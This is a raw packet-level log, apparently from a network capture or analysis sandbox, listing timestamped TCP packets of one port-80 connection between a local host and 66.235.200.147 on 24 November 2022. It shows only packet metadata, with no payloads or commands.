Nov 24, 2022 16:57:36.934925079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934926987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934951067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934956074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.934976101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.934999943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935023069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935025930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935044050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935081959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935111046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935133934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935158014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935168028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935182095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935190916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935208082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935235977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935271978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935273886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935292959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935305119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935334921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935357094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935364962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935409069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935441971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935458899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935473919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935506105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935534000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935538054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935553074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935571909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935604095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935623884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935635090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935667038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935698032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935717106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935728073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935760975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935779095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935792923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935808897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935826063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935857058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935880899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935889006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935921907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935940981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.935955048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.935986996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936019897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936036110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936053038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936086893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936105013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936127901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936163902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936178923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936197996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936233997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936264038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936265945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936302900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936316967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936336994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936350107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936374903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936408997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936423063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936443090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936475992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936492920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936510086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936539888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936563969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936563969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936589003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936614037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936636925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936660051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936683893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936688900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936688900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936708927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936714888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936733961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936758995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936783075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936784029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936801910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936808109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936835051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936857939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936880112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936882973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936904907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936922073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936929941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936955929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.936959028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.936980963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937004089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937028885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937033892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937052011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937053919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937076092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937099934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937125921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937127113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937144995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937151909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937177896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937201023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937225103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937228918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937247992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937247992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937273026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937295914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937299013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937319994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937344074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937370062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937376022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937392950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937395096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937417984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937443018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937465906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937469959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937488079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937490940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937515974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937539101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937563896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937566996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937587023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937587976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937613010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937634945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937635899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937659979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937684059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937706947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937711954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937731981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937733889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937757015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937779903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937805891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937810898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937829018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937836885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937860966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937885046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937886000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937910080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937933922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.937933922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.937971115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938005924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938023090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938040972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938076019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938090086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938112020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938127041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938152075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938188076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938201904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938221931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938251019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938273907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938281059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938297987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938323021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938344955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938347101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938361883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938373089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938396931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938419104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938443899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938446999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938466072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938473940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938512087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938546896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938563108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938642979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938663006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938680887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938692093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938699961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938710928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938719988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938738108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938760042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938771009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938786030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938788891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938812971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938839912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938860893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938865900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938900948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938904047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938922882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938941002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938956976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938958883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938978910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.938996077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.938997984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939017057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939032078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939034939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939053059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939069033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939070940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939090014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939106941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939110041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939129114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939141035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939146996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939167023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939184904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939202070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939203024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939218998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939224005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939244032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939260006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939261913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939280033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939297915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939310074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939316988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939327955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939335108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939348936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939362049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939374924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939390898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939413071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939436913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939445019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939465046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939469099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939521074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939538956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939565897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939591885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939615965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939640045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939640999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939660072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939666986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939692974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939713955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939721107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939742088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939759970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939776897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939789057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939796925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939807892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939815998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939835072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939865112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939882040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939882994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939903021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939919949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939939022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939949989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939958096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939975977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.939990044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.939999104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940025091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940028906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940051079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940069914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940078974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940104961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940129042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940152884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940156937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940174103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940181971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940227032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940265894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940299988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940319061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940339088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940365076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940370083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940388918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940391064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940417051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940443993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940463066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940465927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940481901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940481901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940500021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940520048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940537930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940550089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940556049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940567017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940582991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940608978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940614939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940671921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940696001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940718889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940723896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940741062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940742016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940759897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940778971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940797091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940807104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940817118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940824032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940835953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940855026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940877914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940884113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940902948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940903902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940928936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940953016 CET	80	49713	66.235.200.147	192.168.2.3
